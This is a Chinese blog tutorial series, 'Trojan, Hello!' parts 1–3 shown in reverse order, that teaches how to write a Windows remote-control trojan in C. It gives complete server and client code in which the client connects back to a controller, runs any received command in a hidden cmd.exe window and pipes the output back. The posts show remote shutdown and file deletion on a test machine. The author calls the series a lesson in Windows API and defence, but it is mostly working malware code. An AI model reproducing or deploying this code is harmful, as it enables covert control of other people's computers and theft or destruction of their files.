木马,你好!(三)管道与远程控制

上一讲的代码还是有点难看,先简单修改一下客户端的代码,将执行命令这一部分专门独立出来。

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	} else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}

	return 0;
}

这样写会稍微好一点,不过还是提一句,如果有研究过算法的同学,也可以使用 哈希表 来做这个,效果很快很多,而且那样的话多加几个自定义命令也没关系了。

管道 + CMD

用上一讲的办法,我们确实可以在目标计算机上做些什么可是,还远远达不到控制的程度。而且每一次新加一个功能都要去修改代码也不是很方便,有没有一个简单的办法去操控目标计算机又不用写很多代码的?

有一个很好的办法就是操作目标计算机上的 CMD,如果这个功能实现了,那么你能在当前的计算机上用 CMD 做的事情,在目标计算机上也可以做的到了。

当然如果只是简单的使用 CMD ,那其实不用麻烦什么直接用 system(“”) 函数就可以调用 CMD 了在目标计算机执行命令了,但是一个很大的问题就是,我们要如何才能看到目标计算机上 CMD 执行的输出呢?一个很简单的办法就是使用管道。(当然输出流重定向 + system(“”) 也是可以的)

服务端

稍微修改一些地方,将 recvbuf 调大了,不用 scanf 而用 gets (gets可以取一行的字符串)。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	/* ... */
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);
 
	while (1)
	{		
		printf("-- %s: %s n>>", ip, recvBuf);
		gets(cmdStr);

		// 将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);

		// 如果用户输入 exit 则结束循环
		if (strcmp(cmdStr, "exit") == 0)
		{
			break;
		}
		recv(sockClient, recvBuf, 1024, 0);
	}

    closesocket(sockClient);
	WSACleanup();
}

客户端

客户端中,我们使用 CreateProcess 来新建了一个 CMD 进程,接着使用管道,获取到 CMD 执行命令输出的结果,并把这个结果发送到服务端来。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

/**
 * 执行 CMD 命令
 */
int cmd(char *cmdStr, char *message)
{
	DWORD readByte = 0;
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hRead, hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess( 
		NULL, 		// 不传程序路径, 使用命令行	
		command, 	// 命令行命令		
		NULL, 		// 不继承进程句柄(默认)	
		NULL, 		// 不继承线程句柄(默认)	
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量	
		NULL, 		// 使用父进程的目录	
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息	
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}
	
	CloseHandle( hWrite );

	/* 
		管道的 write 端句柄已被 cmd 的输出流和错误流继承,
		即 cmd 输出时会把数据写入管道。
		我们通过读取管道的 read 端,就可以获得 cmd 的输出
	*/
	while (ReadFile( hRead, buf, MSG_LEN, &readByte, NULL ))
	{
		strcat(message, buf);
		ZeroMemory( buf, MSG_LEN );
	}

	//printf("-- [CMD] Message: [%s] Length:%d n", message, strlen(message) + 1);

	CloseHandle( hRead );
	return 0;
}

/**
 * 运行命令
 */
int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else 
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}

	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP 
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);
		
		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);

			if ( run(recvCmd, message) )
			{
				break;
			}

			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

客户端新增了 cmd() 函数,用来执行,并返回。

本地测试

control_client_delete

上述图片是,远程控制目标电脑关机截图。

虚拟机测试

control_client_shutdown_2

在 xp 的虚拟机上测试,关机功能很轻松的可以实现,不过还有一个比较大的问题问题,就是 客户端会在 CreateProcess 之后的 ReadFile 中卡壳了。程序就停在那不动了。这个让人有点小郁闷。原因是因为 readFile 读管道阻塞了。

为了适应这个变化,博主开始编写简单的多线程版本了。

简单的多线程交互

关于线程方面的知识点,没印象的同学可以去看看博主的《Windows API 教程(五) 线程编程》

博主这里也只是简单的加了个多线程上去,各位可以简单的看下。

服务端


#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

SOCKET sockClient;     // 客户端 Scoket

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char recvBuf[1024] = {0};    //缓冲区
	int num = 0;
	while (1)
	{
		num = recv(sockClient, recvBuf, 1024, 0);
		if (num > 0)
		{
			printf("Receive:n%sn>>", recvBuf);
			num = 0;
		}
		Sleep(50);
	}
	return 0;
}

void main()
{
    int err; // 错误信息
    int len = sizeof(SOCKADDR);
	DWORD Tid; // 线程 ID

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[1024] = {0}; // 接受客户端返回的字符串
	char * ip;

    SOCKET sockServer;     // 服务端 Socket
    SOCKADDR_IN addrServer;// 服务端地址    
    SOCKADDR_IN addrClient;// 客户端地址

    WSADATA wsaData;       // winsock 结构体
    WORD wVersionRequested;// winsock 的版本

    // 配置 Windows Socket版本
    wVersionRequested = MAKEWORD( 2, 2 );

    // 初始化 Windows Socket
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 )
    {
        // 启动错误,程序结束
        return;
    }

    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    {
        // 启动错误,程序结束
        WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
        return;
    }

    // 定义服务器端socket
    sockServer = socket(AF_INET, SOCK_STREAM, 0);
    //  设置服务端 socket
    addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 本机IP
    addrServer.sin_family = AF_INET;                   // 协议类型是INET
    addrServer.sin_port = htons(6000);                 // 绑定端口6000
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	// 开启接收消息
	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		NULL,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);
 
	while (1)
	{
		printf(">>");
		gets(cmdStr);
			
		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
	}
    closesocket(sockClient);
	WSACleanup();
}

客户端

发送数据给服务端的时候,其实还有一个要注意的地方,就是不能让数据很快的发过去,因为服务端不一定能很快的接收到。有可能客户端发送了三段数据过去,而由于时间差或者网络延迟,服务端只收到了最后一段。这是多线程导致的一个问题。如果是单线程的你发我收,然后我再发你再收就会安全许多。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

SOCKET sockClient; // 客户端 Scoket
HANDLE hRead;

void post(char *msg)
{
	send(sockClient, msg, strlen(msg) + 1, 0);
	// printf("-- post: [%s] n", msg);
}

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char buf[2048] = {0};    //缓冲区
	DWORD len = 0;
	// printf("进入子线程, 读取数据n");
	// 读管道内容,并显示
	while (ReadFile( hRead, buf, MSG_LEN, &len, NULL ))
	{
		post( buf );
		ZeroMemory( buf, MSG_LEN );
		Sleep(800);
	}
	CloseHandle( hRead );
	return 0;
}

int cmd(char *cmdStr, char *message)
{
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	DWORD Tid;

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess( 
		NULL, 		// 不传程序路径, 使用命令行	
		command, 	// 命令行命令		
		NULL, 		// 不继承进程句柄(默认)	
		NULL, 		// 不继承线程句柄(默认)	
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量	
		NULL, 		// 使用父进程的目录	
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息	
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}
	
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	CloseHandle( hWrite );

	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		hRead,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);

	// TODO:: 结束上一次线程

	return 0;
}

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else 
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}
	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP 
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);
		
		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);
			if ( run(recvCmd, message) )
			{
				break;
			}
			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			post(message);
		}
	}
	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

远程删除目标电脑上的文件测试截图:

control_client_delete_2

文章索引

上一讲:木马,你好!(二)最简单的木马
下一讲:木马,你好!(三)管道与远程控制

木马,你好!(二)最简单的木马

如果,上一讲你有思考过如何编写一个简单的木马,并且有付诸行动的话,那么这一讲也就是一个应正的章节了。

那么接着上一讲的思路,既然服务端与客户端可以交互,那么也意味着服务端可以向客户端发送命令,客户端接受命令并执行,然后返回执行结果。那么只要事先设置好命令的名称以及客户端的执行操作,那么就能写出一个简单的木马出来了。

服务端代码

服务器端,咱们既然是要写木马的话,那么客户端那边也就不用什么欢迎信息,直接省略。同时原本的外层 while 循环也省略掉了。对于要操控的客户端而言,这里的服务端主要是用来发出指令的,而客户端则按照指令来执行相应的操作。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err; // 错误信息
	int len = sizeof(SOCKADDR);

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char * ip;

	SOCKET sockServer;     // 服务端 Socket
	SOCKADDR_IN addrServer;// 服务端地址
	SOCKET sockClient;     // 客户端 Scoket
	SOCKADDR_IN addrClient;// 客户端地址

	WSADATA wsaData;       // winsock 结构体
	WORD wVersionRequested;// winsock 的版本

	// 配置 Windows Socket版本
	wVersionRequested = MAKEWORD( 2, 2 );

	// 初始化 Windows Socket
	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		// 启动错误,程序结束
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
		return;
	}

	// 定义服务器端socket
	sockServer = socket(AF_INET, SOCK_STREAM, 0);
	//  设置服务端 socket
	addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
	addrServer.sin_family = AF_INET;                   // 协议类型是INET
	addrServer.sin_port = htons(6000);                 // 绑定端口6000
	// 将服务器端socket绑定在本地端口
	bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
	// Listen 监听端口
	listen(sockServer, 5); // 5 为等待连接数目

	printf("服务器已启动:n监听中...n");

	// 等待客户端连接
	sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	while (1)
	{		
		printf("-- %s: %s n>>", ip, recvBuf);
		scanf("%s",cmdStr);
			
		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
		recv(sockClient, recvBuf, 100, 0);
	}

	closesocket(sockClient);
	WSACleanup();
}

客户端代码

作为木马,最主要的作用就是执行服务端发过来的命令,所以聊天的功能已经省略。这里博主也偷下懒,各位自己找台电脑测试,客户端这里要主动去 connect (连接) 服务端,代码中间也可以看得出来时需要填写 服务端 IP 的,如果是在两台电脑或者是虚拟机上测试的时候记得要修正连接的 IP,查看计算机 IP 请使用 CMD 的 ipconfig 命令。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));
		// 从服务端获取数据
		recv(sockClient, recvCmd, MSG_LEN, 0);
		// 打印数据
		printf("-- 收到命令: [%s]n", recvCmd);

		if (strcmp(recvCmd, "test") == 0)
		{
			strcpy(message, "服务端你好,有什么事吗~");
		}
		else if (strcmp(recvCmd, "shutdown") == 0)
		{
			// 执行关机命令,设了个定时关机没直接关
			system("shutdown -s -t 1800");
			strcpy(message, "客户端将在 30 分钟后关闭");
		}
		else if (strcmp(recvCmd, "cancel") == 0)
		{
			// 注销关机命令
			system("shutdown -a");
			strcpy(message, "客户端定时关机已取消");
		}
		else if (strcmp(recvCmd, "exit") == 0)
		{
			break;
		}

		if (strlen(recvCmd) > 0)
		{
			// 发送数据到服务端
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

control_client_shutdown

目前上面的程序还只是简单的调用了一下 cmd 自带的命令,来实现控制客户端的关机操作,各位其实也可以使用 WinAPI 的 ExitWindowsEx 函数来进行关机,貌似这个要专业很多。

嗯,看到这里都没有什么压力的话,就已经可以考虑要添加什么样的其他功能到客户端上来了。基本上能在本机实现的操作,都可以添加到客户端上然后远程指挥客户端。

其他的唠叨

当然,这种程度的效果,大部分有程序都能做到,有可能电脑上运行的 360 QQ 等程序都有做,毕竟要留个后门实在太简单。

前一阵子迅雷就被爆出来了一个后门事件 (《迅雷留后门“耍流氓”千万用户变“肉鸡”》),当然这些程序留的后门可能也有冠冕堂皇的理由,例如更新。前一阵子好压就有背着用户强制安装了某些软件的事情发生,可以说后门这个东西其实是一个业内众人皆知的问题。

关于这类问题,博主的应对方案就是,劲量用轻量级的、开源的软件,尽量用英文版,劲量用国外软件,少用破解版、绿色版、不要在没有信誉的网站上下载软件或游戏来安装。有的人会在破解的程序里面植入自己的木马,而你在毫不知情的情况下使用了这种软件或游戏,指不定就默默的成为了这哥们的肉鸡。

所以,经历过几次之后,博主也算是学乖了,下载东西第一时间都是上官网下载,除非官网上没有下载链接,才会考虑其他渠道来获取。不过还是要强调一下,希望各位支持正版!

(以下文字为博主唠叨,各位看教程的可自行跳过)

做软件和游戏的人都不容易啊!如果每个人都去玩盗版,安全性不说,光是游戏公司蒙受的损失就是一个巨大的数额,严重时甚至会导致你喜欢的游戏开发团队很有可能因此破产。博主童年所喜欢的好多国产经典单机游戏,都是因为这样的原因而淹没在那个盗版光碟飞舞的年代,说真的,这对当时国内刚起来的很多游戏公司打击很大,这也直接导致了现在大部分公司都只做网游的现状。说起来,《傲世三国》到现在还能搜到,至于《三国争霸》等很多博主童年玩过的国产游戏现在连搜都搜不到了。想想真的是痛心疾首。。。(此处省略500字)

文章索引

上一讲:木马,你好!(一)教程简介
下一讲:木马,你好!(三)管道与远程控制介

木马,你好!(一)教程简介

本教程目的不是教人如何去写木马,而是通过一些常见的木马知识来让大家熟悉一下一些 Windows API 的用法,并且通过了解木马编写的套路来开拓一下变成思路,以及如何防止这些常见的木马。

嗯,当然该教程既然名叫《木马,你好!》那么实际上内容也是 “你好” 这个等级的,大家算是走走过场,中间如有有碰到博主无意义的唠叨也都请无视。

以下是本教程学习的一些要求:

工具:visual studio 2010
需求:C/C++ 基础 + Windows API 基础(网络编程主要)
环境:Win7 / WinXP
测试:除开发机之外还有一台 XP/Win7 的计算机或虚拟机

虚拟机安装:

Win7 的话可以考虑用官方提供的 XP 模式(百度请搜 “win7 xp mode” 到微软官网搜索更佳),除此之外可以考虑使用 Vmware 安装虚拟机,当然如果不懂这些的话,直接在自己的计算机上也可以,只不过测试出来的效果就没有那么好了。

如果以上要求都符合(当然工具不一定非要 vs2010 ),那么我们就可以开始本次教程的旅途了。

木马(Trojan)这个名字来源于古希腊传说,特洛伊王子帕里斯访问希腊,诱走了王后海伦,希腊人因此远征特洛伊。围攻9年后,到第10年,希腊将领奥德修斯献了一计,就是把一批勇士埋伏在一匹巨大的木马腹内,放在城外后,佯作退兵。特洛伊人以为敌兵已退,就把木马作为战利品搬入城中。到了夜间,埋伏在木马中的勇士跳出来,打开了城门,希腊将士一拥而入攻下了城池。后来,人们在写文章时,就常用“特洛伊木马”这一典故,用来比喻在敌方营垒里埋下伏兵里应外合的活动。

而到了现在,Trojan 一词的特洛伊木马本意是 “特洛伊的” ,即代指特洛伊木马。如果你已经了解了这个故事,那么你也差不多理解了木马到底是干什么的。就如开始故事里面说的那样,计算机”木马”就是悄悄的潜伏在你的计算机中干坏事的那个木马。

目前来说,“木马” 程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者计算机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的计算机。

如果你已经学习了 Windows API 中的网络编程部分,并对该部分有了一定的掌握(这个是必须的,如果没有请查看博主的《Windows API 教程(九) 网络编程》),那么我们就可以简单的来聊聊木马了。

当你第一次编写出连带服务端还有客户端的 socket 通信程序之后,你有想过有通过这个技术来写些什么东西吗?事实上,不管你想的东西有多少,博主都可以明确的告诉你:这东西的用途远远要比你想象的多。

首先呢,一个很简单的应用就是用来做木马。为什么这么说?原因很简单,木马程序对 GUI (窗口编程)没有什么要求,因为一般都是写着自己用。而且木马程序的思路其实很简单,就只是服务端跟客户端的连接之后的简单应用。

印象不深的各位可以简单的浏览一下博主的代码(简单的socket通信实例),这里是一个很简单的 socket 通信的例子,中间有一个简单的交互过程,即在客户端连接上来的时候服务端发送一个字符串下来,而客户端第一时间就能收到这个服务端下发的字符串,随后返回一个字符。

那么博主这里在那个代码的基础上稍微修改一下:

server.c

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
    int err; // 错误信息
    int len;

	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char *ip;

    SOCKET sockServer;     // 服务端 Socket
    SOCKADDR_IN addrServer;// 服务端地址
    SOCKET sockClient;     // 客户端 Scoket
    SOCKADDR_IN addrClient;// 客户端地址

    WSADATA wsaData;       // winsock 结构体
    WORD wVersionRequested;// winsock 的版本

    // 配置 Windows Socket版本
    wVersionRequested = MAKEWORD( 2, 2 );

    // 初始化 Windows Socket
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 )
    {
        // 启动错误,程序结束
        return;
    }

    /*
     * 确认WinSock DLL支持2.2
     * 请注意如果DLL支持的版本大于2.2至2.2
     * 它仍然会返回wVersion2.2的版本
     */

    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    {
        // 启动错误,程序结束
        WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
        return;
    }

    // 定义服务器端socket
    sockServer = socket(AF_INET, SOCK_STREAM, 0);

    //  设置服务端 socket
    addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
    addrServer.sin_family = AF_INET;                   // 协议类型是INET
    addrServer.sin_port = htons(6000);                 // 绑定端口6000

    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

    len = sizeof(SOCKADDR);

    while (1)
    {
        // accept 会阻塞进程,直到有客户端连接上来为止
        sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
		// 获取ip地址
		ip = inet_ntoa(addrClient.sin_addr);
		// 输出连接提示
		printf("-- IP %s 连接到服务端n", ip);
        // 当客户端连接上来时, 拼接如下字符串        
        sprintf(sendBuf, "欢迎 ip: %s 的用户连接, 这里是 Lellansin 的服务器", ip);
		// 向客户端发送字符串
		send(sockClient, sendBuf, strlen(sendBuf) + 1, 0);

		while (1)
		{			
			// 获取客户端返回的数据
			recv(sockClient, recvBuf, 100, 0);
			// 打印客户端返回的数据
			printf("-- %s: %sn", ip, recvBuf);
			// 输入提示符
			printf(">>");
			// 接收用户的输入
			scanf("%s",sendBuf);
			// 向客户端发送字符串
			send(sockClient, sendBuf, strlen(sendBuf) + 1, 0);
		}

        // 关闭socket
        closesocket(sockClient);
    }
}

client.c

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err = 0;
	char message[256] = {0};
	char recvBuf[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
